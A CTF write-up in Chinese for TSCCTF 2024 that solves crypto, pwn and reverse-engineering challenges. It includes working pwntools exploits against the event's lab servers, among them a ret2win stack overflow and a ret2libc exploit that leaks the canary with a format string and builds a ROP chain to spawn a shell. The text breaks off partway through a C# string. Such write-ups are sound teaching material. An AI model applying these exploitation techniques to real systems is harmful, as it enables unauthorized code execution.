--- title: TSCCTF 2024 Write-Up --- # TSCCTF 2024 Write-Up --- Author: waig548 --- ## Preface 已經大概3年沒有打過比賽了,這次是抱著被電爛的準備來復建的,但意外的好像打出不錯的結果? ~~也讓我再一次體會到工人智慧的威力所在~~ 這次的Write-Up還請各位大佬們鞭小力點。 ## Welcome ### Welcome #### `158 Solves` ![image](https://hackmd.io/_uploads/S1gOnysYa.png) 按題目敘述去粉專/IG挖flag 在最早的3份貼文各可以找到flag碎片 1. `TSC{F0R_TSCCTF_(1/3)` 2. `F0LL0VV3RS_f0rrn3d_(2/3)` 3. `6y_PU6L1C1TY_T34M}(3/3)` 組合起來可得flag: `TSC{F0R_TSCCTF_F0LL0VV3RS_f0rrn3d_6y_PU6L1C1TY_T34M}` ### Welcome Revenge #### `107 Solves` ![image](https://hackmd.io/_uploads/SJyOpkiKT.png) 按題目敘述去dc群挖flag ~~好像有不少人去戳ticket的樣子(包括我)~~ 然而答案是 ![image](https://hackmd.io/_uploads/Hy3apJjKT.png) 肉眼剖析flag: `TSC{Th3_DC_flag!}` ### Survey #### `46 Solves` ![image](https://hackmd.io/_uploads/BkPEAkjFT.png) 填問卷 拿獎勵 flag: `TSC{Y0u_w3r3_gr347!}` ## Crypto ### Baby PRNG #### `8 Solves` ![image](https://hackmd.io/_uploads/S1wcC1sYa.png) `chal.py`: ```python= from secret import FLAG from os import urandom def h(a, m): return (-a*a-m*m+0x6861616368616d61)&1 class H: def __init__(self, a, ac) -> None: self.a = a self.ac = ac def ha(self): m = sum([h(self.ac[i], self.a[i]) for i in range(len(self.a))])&1 a = self.ac[0] self.ac = self.ac[1:] + [m] return a flag = [int(i) for i in ''.join([bin(ord(i))[2:].zfill(8) for i in FLAG])] a = [0, 2, 17, 19, 23, 37, 41, 53] ch = H(a, list(map(int, f'{int.from_bytes(urandom(8), "big"):064b}'))) a = [ch.ha() for _ in range(len(flag)+52)] for i in range(len(flag)): a[i] ^= flag[i] print(''.join([str(m) for m in a])) # The output is 1101001001001000111111101000111010001000010000000010010000011000101111000101000100011001110000101000011000000100000111110101001101101100111101101000010100001110101101001100010111110001001001011011101111100011101101011010011111100111001000111000000101000111000001011111111000111001111100000111000101010011011101110000110101100010100011001000101110110010001010110010110111100111111010100110100000110000001011110100011011001010011101000011010001001100111100010011111111101010101101000101100011110010111011111010000101110000011111000000011110010110101010011100000111110111100000101100101100011110101110100010011111101010110111010001111011110101100001110101000101000001011101101101110110001001011011100001111001111101110000011101111001010100000010011001000111100101000100110101101100111000010010111111111010111000111000101001111000001010111010111110001001011011111100110000010111100110101111000110111011001100010110010101010010011111011010001111101101111000101011110100000011001100100011100110001001000000101100001000000110010010101100100000110101101110110100110110000000100111001110101101001010100001111011111010011101011100000011000011100001101101000111111111011000001111100111010000001100100001111111011110001001101010011000000100001110111110001011001000010000111000010010110011011100101010100110100100001001010101010111111110001011100011110001011010001110000101001110000011011101011110001100010010111011101111001010011010010100110000111010010001011000111101011101111000110010110000010000101000010001100111110111011111010101100010110110101001110110001010011010101010001100101100010000110101101100001111110001111001001001110010010010000001010100111010111110100111011100000111100100011101101011111001110100110111000010110000000111100100000100001110110101100010100101010000100011100101011011111101000011101000010010011011111001011000010110000000010101011001110110110110001110000001101000010010110011011000001010001110110101001011010100101100110010010111100111110010001101011111101011101101101111011001000101011001101101110111000110001000001110000000000111010001100010011001011010001111011011100101111000100011110011101100101100001011000010011010011000010110110101111001 ``` 分析: 這個PRNG是64bit的LFSR,output則是PRNG產生的bits與flag的bits xor產生,結尾有額外52bits沒被修改。 PRNG原始輸出的前64個bit就是這個PRNG的IV,而根據題目提供的flag格式`TSCCTF{.+}`可得知flag前7個字元都固定為`TSCCTF{`,由此可以與output的前56個bit做xor取得部分IV。而因為output有額外給52個bit,IV剩下的8個bit可以爆開檢查最後52個bit是否符合output,找到了對應的bit stream就可以跟output做xor取得flag的bit stream,再轉換為原始的flag。 `exp.py`: ```python= def chunk(lst, n): for i in range(0, len(lst), n): yield lst[i:i + n] def h(a, m): return (-a*a-m*m+0x6861616368616d61)&1 class H: def __init__(self, a, ac) -> None: self.a = a self.ac = ac def ha(self): m = sum([h(self.ac[i], self.a[i]) for i in range(len(self.a))])&1 a = self.ac[0] self.ac = self.ac[1:] + [m] return a # flag format: TSCCTF{.+} flag_prefix = 'TSCCTF{' flag_prefix_bin = ''.join([bin(ord(i))[2:].zfill(8) for i in flag_prefix]) # '01010100010100110100001101000011010101000100011001111011' output = '1101001001001000111111101000111010001000010000000010010000011000101111000101000100011001110000101000011000000100000111110101001101101100111101101000010100001110101101001100010111110001001001011011101111100011101101011010011111100111001000111000000101000111000001011111111000111001111100000111000101010011011101110000110101100010100011001000101110110010001010110010110111100111111010100110100000110000001011110100011011001010011101000011010001001100111100010011111111101010101101000101100011110010111011111010000101110000011111000000011110010110101010011100000111110111100000101100101100011110101110100010011111101010110111010001111011110101100001110101000101000001011101101101110110001001011011100001111001111101110000011101111001010100000010011001000111100101000100110101101100111000010010111111111010111000111000101001111000001010111010111110001001011011111100110000010111100110101111000110111011001100010110010101010010011111011010001111101101111000101011110100000011001100100011100110001001000000101100001000000110010010101100100000110101101110110100110110000000100111001110101101001010100001111011111010011101011100000011000011100001101101000111111111011000001111100111010000001100100001111111011110001001101010011000000100001110111110001011001000010000111000010010110011011100101010100110100100001001010101010111111110001011100011110001011010001110000101001110000011011101011110001100010010111011101111001010011010010100110000111010010001011000111101011101111000110010110000010000101000010001100111110111011111010101100010110110101001110110001010011010101010001100101100010000110101101100001111110001111001001001110010010010000001010100111010111110100111011100000111100100011101101011111001110100110111000010110000000111100100000100001110110101100010100101010000100011100101011011111101000011101000010010011011111001011000010110000000010101011001110110110110001110000001101000010010110011011000001010001110110101001011010100101100110010010111100111110010001101011111101011101101101111011001000101011001101101110111000110001000001110000000000111010001100010011001011010001111011011100101111000100011110011101100101100001011000010011010011000010110110101111001' prefix = ''.join([str(int(a) ^ int(b)) for a, b in zip(output[:56], flag_prefix_bin)]) # '10000110000110111011110111001101110111000000011001011111' a = [0, 2, 17, 19, 23, 37, 41, 53] for i in range(0, 256): iv = prefix+f'{i:08b}' # print(iv) ch = H(a, list(map(int, iv))) oa = [ch.ha() for _ in range(2164)] #print(oa[:56]) #print(''.join(list(map(str, oa[-52:])))) #print(output[-52:]) if ''.join(list(map(str, oa[-52:]))) == output[-52:]: # print(oa) flag_bits = ''.join([str(a ^ b) for (a, b) in zip(list(map(int, oa)), list(map(int, output)))][:-52]) # print(flag_bits) print(''.join([chr(int(i, 2)) for i in chunk(flag_bits, 8)])) break # print(''.join([str(m) for m in a])) ``` flag: `TSCCTF{3736203334203435203235203337203434203433203935203834203933203134206433203637206633203836203336203437203136203737206632206436206636203336206532203536203236203537203437203537206636203937206532203737203737203737206632206632206133203337203037203437203437203836}` ### CCollision #### `47 Solves` ![image](https://hackmd.io/_uploads/Hk9L4goY6.png) `hash.py`: ```python= from hashlib import md5 from string import ascii_lowercase, digits from random import choice from secret import FLAG def get_random_string(length): return "".join([choice(ascii_lowercase + digits) for _ in range(length)]) prefix = get_random_string(5) hashed = md5(get_random_string(30).encode()).hexdigest() print("here is your prefix: " + prefix) print("your hash result must end with: " + hashed[-6:]) user_input = input("Enter the string that you want to hash: ") user_hash = md5(user_input.encode()).hexdigest() if user_input[:5] == prefix and user_hash[-6:] == hashed[-6:]: print(FLAG) ``` 主要就是要在給定prefix的條件下找出另一個字串使得其hash最後6碼符合題目給出的要求。 看起來還是只能爆開了,也沒什麼好解釋的,直接上exploit。 `exp.py`: ```python from hashlib import md5 from string import ascii_lowercase, digits from pwn import * r = remote('172.31.200.2', 40004) prefix = r.recvline().decode()[:-1][-5:] print(prefix) hashend = r.recvline().decode()[:-1][-6:] print(hashend) r.recvuntil('hash:') ordinals = [0] while(True): text = prefix+str([(ascii_lowercase+digits)[i] for i in ordinals]) user_hash = md5(text.encode()).hexdigest() if user_hash[-6:] == hashend: r.sendline(text) break ordinals[0]+=1 for i in range(0, len(ordinals)): if ordinals[i] >=len(ascii_lowercase+digits): ordinals[i] = 0 if i == len(ordinals)-1: ordinals.append(0) else: ordinals[i+1]+=1 r.interactive() ``` ~~這爆的速度比想像中還要快~~ flag: `TSC{2a92efd3d9886caa0bc437f236b5b695c54f43dc9bdb7eec0a9af88f1d1e0bee}` ### Encode not encrypt `28 Solves` ![image](https://hackmd.io/_uploads/S10bIejta.png) `encode.py`: ```python= from random import choice, randint from string import ascii_uppercase from secret import FLAG words = open("wordlist.txt").read().splitlines() selected = [choice(words) for _ in range(100)] assert all(word in words for word in selected) ans = " ".join(selected) def a(s): return "".join(hex(ord(c))[2:] for c in s) b_chars = 'zyxwvutsrqponmlkjihgfedcba' def b(s): result = "" for c in s: binary = f'{ord(c):08b}' front, back = binary[:4], binary[4:] result += b_chars[int(front, 2)] + b_chars[int(back, 2)] return result c_chars = '?#%=' def c(s): result = "" for c in s: binary = f'{ord(c):08b}' for i in range(0, 8, 2): result += c_chars[int(binary[i:i+2], 2)] return result def d(s): return "".join(oct(ord(c))[2:] for c in s) func = {0: a, 1: b, 2: c, 3: d} encodeds = [] hint = "" for word in selected: num = randint(0, 3) encodeds.append(func[num](word)) for bit in f'{num:02b}': ch = choice(ascii_uppercase) hint += ch if bit == '1' else ch.lower() print(" ".join(encodeds)) print(hint) user_input = input("Enter the answer: ") if user_input == ans: print(FLAG) ``` 分析: 題目內有4種encode方法,然後從`wordlist.txt`中隨機選擇100個word再對每個word隨機選擇1種方法encode。 作者也非常好心有給每個word使用到方法的提示,不用每個額外判定爆破。 ~~不過還好每個encode方法都很有獨特性 沒有hint也是可以稍微判定看看~~ `exp.py` ```python= from pwn import * from string import ascii_uppercase def chunk(lst, n): for i in range(0, len(lst), n): yield lst[i:i + n] def a(s): return "".join(chr(int(c, 16)) for c in chunk(s, 2)) b_chars = 'zyxwvutsrqponmlkjihgfedcba' def b(s): result = "" for c in chunk(s, 2): front, back = [f'{b_chars.index(p):04b}' for p in c] result += chr(int(front+back, 2)) return result c_chars = '?#%=' def c(s): result = "" for c in chunk(s, 4): binary = ''.join([f'{c_chars.index(p):02b}' for p in c]) result += chr(int(binary, 2)) return result def d(s): return "".join(chr(int(c, 8)) for c in chunk(s, 3)) func = {0: a, 1: b, 2: c, 3: d} r = remote('172.31.200.2', 42816) encoded = r.recvline()[:-1].decode().split(' ') hint = r.recvline()[:-1].decode() print(len(encoded)) print(encoded) print(len(hint)) print(hint) # print(a("6275726e")) # print(b("svtutmsztksxtysxsq")) # print(c("#%=%#=###%=##%###=?%#%%##%?=")) # print(d("163157143151157154157147171")) words = [] for e, p in zip(encoded, [int(p, 2) for p in chunk(''.join(['1' if c in ascii_uppercase else '0' for c in hint]), 2)]): print(e) print(p) # break words.append(func[p](e)) print(words) # print(' '.join(words)) r.sendline(' '.join(words)) r.interactive() ``` 這部分是對每個encode方法各實作了decode方法,然後再利用提示去對應decode方法把原始的words解出來。 flag: `TSC{f92f8ee588f3f4ff5b2cf5cdefd94bbc6e833881bedfd5cc0ba5f54b51382a94}` ## Pwn ### [教學題] ret2win #### `43 Solves` ![image](https://hackmd.io/_uploads/r1yZKesFT.png) `ret2win.c`: ```c= #include <stdio.h> #include <stdlib.h> void win(void){ execve("/bin/sh", 0, 0); } int main(){ setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); puts("baby pwn challenge!"); char str[0x20]; gets(str); return 0; } ``` 從原始碼可以看到有一個function會開shell給你,但正常code flow不會進入,那就是要想辦法ret到那個function。 檢查一下保護機制,看來沒有stack protector,可以直接溢出不會出錯;也沒有PIE,不用額外計算base的offset。 ![image](https://hackmd.io/_uploads/B1y5SZsYT.png) `exp.py`: ```python= from pwn import * # p = process('./ret2win') p = remote('172.31.210.1', 50001) pause() p.recvuntil('!') p.sendline(b'A'*(0x20+8) + p64(0x401196)) p.interactive() ``` :::info `0x401196`為`win()`的位址 ::: ![image](https://hackmd.io/_uploads/HkK4LWiY6.png) flag: `TSC{baby_pwn_cha11eng2_1snt_1t?}` ### ret2libc #### `8 Solves` ![image](https://hackmd.io/_uploads/ryF2QzjFa.png) `ret2libc.c`: ```c= #include <stdio.h> #include <stdio.h> int main(){ setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); puts("Do you know the libc?"); char str[0x20]; scanf("%s", str); getchar(); printf(str); gets(str); return 0; } ``` 🈹你怎麼`#include <stdio.h>`兩次 這題看名字就大概可以猜到要到`libc`上找`system`跟`/bin/sh`開個shell挖flag, 而且很好心有給`libc.so.6`。 一樣檢查保護機制,這題大手筆直接全部開滿了,主要要防的應該是canary的部分。 ![image](https://hackmd.io/_uploads/ByStHfsFp.png) `exp.py`: ```python= from pwn import * remote_flag = True if remote_flag: r = remote('172.31.210.1', 50002) else: r = process('./ret2libc') elf = ELF('./ret2libc') if remote_flag: libc = ELF('./libc.so.6') else: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') rop = ROP(libc) pause() r.recvuntil(b'libc?\n') r.sendline(b"%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p") res = r.recv().replace(b'(nil)', b'0x0').split(b'0x') print(res) # pause() canary = int(res[11].decode(), 16) if remote_flag: libc_start_main = int(res[13].decode(), 16) - 0xF3 else: libc_start_main = int(res[13].decode(), 16) - 128 + 0xB0 print('canary =', hex(canary)) print('__libc_start_call_main =', hex(libc_start_main)) print(hex(libc.sym['__libc_start_main'])) libc.address = libc_start_main - libc.sym['__libc_start_main'] print('libc_base =', hex(libc.address)) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] + libc.address ret = rop.find_gadget(['ret'])[0] + libc.address bin_sh = next(libc.search(b"/bin/sh")) system = libc.sym['system'] print('&"/bin/sh" =', hex(bin_sh)) print('system =', hex(system)) payload = b'A'*0x20 + b'B'*0x8 + p64(canary) + b'X'*0x8 + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system) r.sendline(payload) r.interactive() ``` 這邊附上部分stack的資料 ![image](https://hackmd.io/_uploads/HyJ98fiYT.png) 其中主要的重點是`<__libc_start_call_main+128>` 這部分對應`libc.so.6`中`__libc_start_main`的offset可以找出其ALSR的初始位址, 但因為不同版本`libc.so.6`的實作不同,撈出來的位址不一定會相同; 例如我這邊的版本是`__libc_start_main`額外call到`__libc_start_call_main`(沒有被export出去,不能直接reference)才去call `main`本身,而題目給的版本則是`__libc_start_main`直接call `main`。 所以local的部分我會需要額外去找`__libc_start_main`跟`__libc_start_call_main`之間offset的差異並補算進去,remote則要自己去找題目`libc.so.6`中`__libc_start_main` call `main`的地方來計算offset。 第一份payload(那整坨`%p`)是用來leak stack上的一部分資料,包括canary還有`main` return回去`__libc_start_main`的位址。 第二份payload就是把stack塞爆並安插之前leak出來的canary跟return到`system('/bin/sh')`的ROP,其中因為x64的`system`會檢查stack有沒有對齊,所以要額外安插一個`ret`的ROP讓stack對齊再return到`system`。 ![image](https://hackmd.io/_uploads/B1QDqGsYp.png) flag: `TSC{ret2l1bc_happy_happy_happy1337}` ## Reverse ### sHELLcode #### `8 Solves` ![image](https://hackmd.io/_uploads/B1-o1bnKT.png) 先執行看看,看起來是要帶flag進去當argument ![image](https://hackmd.io/_uploads/r1UKehoYa.png) 那就隨便塞個flag丟進去x32dbg, ![image](https://hackmd.io/_uploads/HkCF-niFT.png) `main`這邊看來會先檢查flag的長度是不是`0x21`(`33`) ![image](https://hackmd.io/_uploads/HJ43-hjt6.png) 那就改丟一個長度`33`的flag ![image](https://hackmd.io/_uploads/Bkm7W3otT.png) 檢查完長度後面有一坨不太清楚什麼東西,但底下有一個很可疑的`call eax`,看起來是會call到`shellcode.4040C0`這個地方 ![image](https://hackmd.io/_uploads/rJs0G3oKa.png) 先到那地方看看,看起來就是檢查flag的部分,也許是xor?(?) ![image](https://hackmd.io/_uploads/B1_D73sFa.png) 運行了一下,其中`"c8763"`跟`ds:[eax*4+404160]`有點吸引人注意 ![image](https://hackmd.io/_uploads/SJi043oYa.png) 偷看一下`0x404160`裡有什麼,看起來就是檢查flag對應的資料 ![image](https://hackmd.io/_uploads/S1QfD2sKT.png) 把資料拆出來跟`c8763`當成key試試看,得到疑似flag的字串 ![image](https://hackmd.io/_uploads/ByM1_2oYp.png) 把它丟回原本程式試試看 ![image](https://hackmd.io/_uploads/S1Cu_3jtT.png) flag: `TCLCTF{Now_ur_A_sHELLcode_M4sTer}` ### Just Shooting Game #### `1 Solve` ![image](https://hackmd.io/_uploads/HJG-t3stp.png) ~~這題我其實比較後面才看,一直忘記它的存在~~ ~~喔還有這麼多hint每個有跟沒有一樣,要嘛是什麼都看不到,不然就是有看沒有懂~~ `ShootingGame.zip`: ![image](https://hackmd.io/_uploads/r1YVKhiYp.png) 看來是用Unity寫的 ~~那就得拿出萬能的`dnSpy`跟`Unity Explorer`了~~ 在`Assembly-CSharp.dll`裡翻翻,發現部分class裡都有一組`code`跟`magic` ![image](https://hackmd.io/_uploads/ByM_53jtT.png) ![image](https://hackmd.io/_uploads/Sy-5c2itp.png) 還有這個`Transfer` class裡好像有些奇怪的method ![image](https://hackmd.io/_uploads/Sktp52jYp.png) 先看看其他地方 Disassembled `GameManager.Update()`: ```csharp= // Token: 0x0600002F RID: 47 RVA: 0x00003434 File Offset: 0x00001634 private void Update() { this.m_timer -= Time.deltaTime; if (Time.timeScale > 0f && Input.GetKeyDown(KeyCode.Escape)) { Time.timeScale = 0f; } if (this.m_score >= this.m_needscore) { this.stop = true; } if (this.m_timer <= 0f) { this.MakeHPorReturn(Random.Range(0, 0xD), Random.Range(0, 2)); int num = 6; while (this.m_timer < (float)num) { this.m_timer = Random.value * 15f; } } foreach (char c in Input.inputString) { this.supercode += c.ToString(); this.supercode = this.supercode.Trim(new char[] { ' ', '\r', '\n', '\t' }); if (this.supercode.Length == 0x37) { byte[] array = new byte[0x400]; Encoding.ASCII.GetBytes(this.supercode).CopyTo(array, array.Length - this.supercode.Length); ulong num2 = (ulong)((long)(array.Length - this.supercode.Length)); ulong num3 = (ulong)((long)array.Length); ulong value = (ulong)((long)(array.Length - this.supercode.Length)); ulong num4 = 0UL; ulong num5 = 0UL; ulong num6 = 0UL; ulong num7 = 0UL; ulong num8 = 0UL; Transfer.exec(Transfer.etob(this.code, this.magic), array, ref num2, ref num3, ref value, ref num4, ref num5, ref num6, ref num7, ref num8, Array.Empty<Transfer.Callfunc>()); if (Convert.ToBoolean(value)) { GameManager.supermode = true; } } } if (this.supercode.Length >= 0x37) { this.supercode = ""; } } ``` 有關`supercode`的這個部分應該就是判定flag的部分了,可以看出長度是`0x37`(`55`),然後是遊戲執行中輸入flag,flag正確有`supermode`獎勵?(?) 還有執行到`Transfer.exec()`跟`Transfer.etob()`,以及使用到`code`與`magic` Disassembled `Transfer.exec()`: ![image](https://hackmd.io/_uploads/SJjephoYp.png) 這東西盲猜是一種vm,然後`callfuncs`大概是vm執行完的結果丟到`callfuncs`去判定 vm的參數第一個是要執行的code,第二個是記憶體空間,接下來應該是CPU的register。 根據`Update()`中`supercode`的部分,配置給vm的記憶體空間會包含輸入的flag,以及`sp`, `bp`指向的stack範圍就是記憶體空間中flag的範圍,`a`則是指向flag的起點。 `Transfer.etob()`: ```csharp= // Transfer // Token: 0x06000050 RID: 80 RVA: 0x00005DEC File Offset: 0x00003FEC public static byte[] etob(string data, uint magic) { byte[] bytes = Encoding.UTF32.GetBytes(data); byte[] result; using (MemoryStream memoryStream = new MemoryStream()) { for (int i = 0; i < bytes.Length; i += 4) { uint num = BitConverter.ToUInt32(bytes, i); if (num >= 0x1F700U) { num -= 3U; } if (num >= 0x1F6F0U) { num -= 3U; } if (num >= 0x1F6DDU) { num -= 5U; } if (num >= 0x1F6D5U) { num -= 2U; } if (num >= 0x1F6CBU) { num -= 5U; } if (num >= 0x1F680U) { num -= 0x30U; } num ^= magic; if (num >= 0x1F600U && num <= 0x1F6FFU) { num -= 0x1F600U; memoryStream.WriteByte((byte)num); } } result = memoryStream.ToArray(); } return result; } ``` 大概是用來把`code`配`magic`變成vm可以執行的東西,先複製起來留著備用。 靜態分析大概到此告一個段落,該把遊戲打開來了。 ![image](https://hackmd.io/_uploads/r1DPfpstp.png) ㄍ 這UI跟解析度是三小 ~~這是你逼我的~~ ![image](https://hackmd.io/_uploads/ryS2zTsFp.png) 舒服多了 ![image](https://hackmd.io/_uploads/H1tkXpjY6.png) Magic~ ![image](https://hackmd.io/_uploads/BJ3H4TsK6.png) 重開遊戲幾次之後看起來`magic`是固定值,其他class也是一樣 `Program.cs`: ```csharp= using System; using System.IO; using System.Text; namespace ConsoleApp1 { class Program { public static string BytesToHex(byte[] bytes) { StringBuilder stringBuilder = new StringBuilder(); for (int i = 0; i < bytes.Length; i++) { stringBuilder.Append(bytes[i].ToString("X2")); } return stringBuilder.ToString(); } public static byte[] etob(string data, uint magic) { byte[] bytes = Encoding.UTF32.GetBytes(data); byte[] result; using (MemoryStream memoryStream = new MemoryStream()) { for (int i = 0; i < bytes.Length; i += 4) { uint num = BitConverter.ToUInt32(bytes, i); if (num >= 0x1F700U) { num -= 3U; } if (num >= 0x1F6F0U) { num -= 3U; } if (num >= 0x1F6DDU) { num -= 5U; } if (num >= 0x1F6D5U) { num -= 2U; } if (num >= 0x1F6CBU) { num -= 5U; } if (num >= 0x1F680U) { num -= 0x30U; } num ^= magic; if (num >= 0x1F600U && num <= 0x1F6FFU) { num -= 0x1F600U; memoryStream.WriteByte((byte)num); } } result = memoryStream.ToArray(); } return result; } static void Main(string[] args) { string code = "\ud83d\udef0\ud83d\udee8\ud83d\ude9d\ud83d\ude01\ud83d\udef3\ud83d\udee8\ud83d\ude8c\ud83d\ude95\ud83d\udecb\ud83d\udee4\ud83d\ude9a\ud83d\udf2e\ud83d\udf2c\ud83d\udf27\ud83d\udf26\ud83d\udef3\ud83d\udee8\ud83d\ude8c\ud83d\udefc\ud83d\udeb0\ud83d\udefb\ud83d\udf1a\ud83d\udf2f\ud83d\udeb7\ud83d\ude83\ud83d\ude10\ud83d\udef3\ud83d\udee8\ud83d\ude8c\ud83d\udea7\ud83d\udf3a\ud83d\ude0d\ud83d\ude2f\ud83d\ude1a\ud83d\ude9f\ud83d\udf27\ud83d\udeec\ud83d\udef3\ud83d\udee8\ud83d\ude8c\ud83d\udef0\ud83d\uded2\ud83d\ude00\ud83d\ude1c\ud83d\udf1d\ud83d\ude27\ud83d\udf09\ud83d\udf1e\ud83d\udef3\ud83d\udee8\ud83d\ude8c\ud83d\ude14\ud83d\ude37\ud83d\udedd\ud83d\udf2f\ud83d\udefb\ud83d\udef3\ud83d\ude49\ud83d\udf31\ud83d\udef3\ud83d\udee8\ud83d\ude8c\ud83d\udeb7\ud83d\ude09\ud83d\ude98\ud83d\udf2e\ud83d\udeac\ud83d\ude9a\ud83d\ude95\ud83d\udf11\ud83d\udef3\ud83d\udee8\ud83d\ude8c\ud83d\udf16\ud83d\ude48\ud83d\udf15\ud83d\udedf\ud83d\ude35\ud83d\udf16\ud83d\udef7\ud83d\udeec\ud83d\udef3\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf3f\ud83d\ude9e\ud83d\udefc\ud83d\udf18\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\udee6\ud83d\ude9c\ud83d\udee1\ud83d\udf3f\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udf27\ud83d\ude9e\ud83d\udefc\ud83d\udf2a\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\udf16\ud83d\ude9c\ud83d\udf27\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf29\ud83d\ude9e\ud83d\udefc\ud83d\udf22\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\udf1c\ud83d\ude9c\ud83d\udee1\ud83d\udf29\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf32\ud83d\ude9e\ud83d\udefc\ud83d\udf12\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\ude1f\ud83d\ude9c\ud83d\udee1\ud83d\udf32\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf23\ud83d\ude9e\ud83d\udefc\ud83d\udf2e\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\ude1d\ud83d\ude9c\ud83d\udee1\ud83d\udf23\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf0b\ud83d\ude9e\ud83d\udefc\ud83d\udf35\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\ude1f\ud83d\ude9c\ud83d\udee1\ud83d\udf0b\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf3e\ud83d\ude9e\ud83d\udefc\ud83d\udf39\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\ude49\ud83d\ude9c\ud83d\udee1\ud83d\udf3e\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf0f\ud83d\ude9e\ud83d\udefc\ud83d\udf12\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\udf2d\ud83d\ude9c\ud83d\udee1\ud83d\udf0f\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf27\ud83d\ude9e\ud83d\udefc\ud83d\udf18\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\udecd\ud83d\ude9c\ud83d\udee1\ud83d\udf27\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf04\ud83d\ude9e\ud83d\udefc\ud83d\udf29\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\ude16\ud83d\ude9c\ud83d\udee1\ud83d\udf04\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf12\ud83d\ude9e\ud83d\udefc\ud83d\udf06\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\udead\ud83d\ude9c\ud83d\udee1\ud83d\udf12\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf07\ud83d\ude9e\ud83d\udefc\ud83d\udf29\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\ude42\ud83d\ude9c\ud83d\udee1\ud83d\udf07\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf11\ud83d\ude9e\ud83d\udefc\ud83d\udf40\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\ude20\ud83d\ude9c\ud83d\udee1\ud83d\udf11\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf30\ud83d\ude9e\ud83d\udefc\ud83d\udf0c\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\ude14\ud83d\ude9c\ud83d\udee1\ud83d\udf30\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf31\ud83d\ude9e\ud83d\udefc\ud83d\udf14\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\udf40\ud83d\ude9c\ud83d\udee1\ud83d\udf31\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf13\ud83d\ude9e\ud83d\udefc\ud83d\udf02\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\udf30\ud83d\ude9c\ud83d\udee1\ud83d\udf13\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf09\ud83d\ude9e\ud83d\udefc\ud83d\udf19\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\ude40\ud83d\ude9c\ud83d\udee1\ud83d\udf09\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf34\ud83d\ude9e\ud83d\udefc\ud83d\udf38\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\udebe\ud83d\ude9c\ud83d\udee1\ud83d\udf34\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf0a\ud83d\ude9e\ud83d\udefc\ud83d\udf23\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\ude18\ud83d\ude9c\ud83d\udee1\ud83d\udf0a\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf38\ud83d\ude9e\ud83d\udefc\ud83d\udf0e\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\udf13\ud83d\ude9c\ud83d\udee1\ud83d\udf38\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf36\ud83d\ude9e\ud83d\udefc\ud83d\udf18\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\udeb3\ud83d\ude9c\ud83d\udee1\ud83d\udf36\ud83d\udee8\ud83d\ude9f\ud8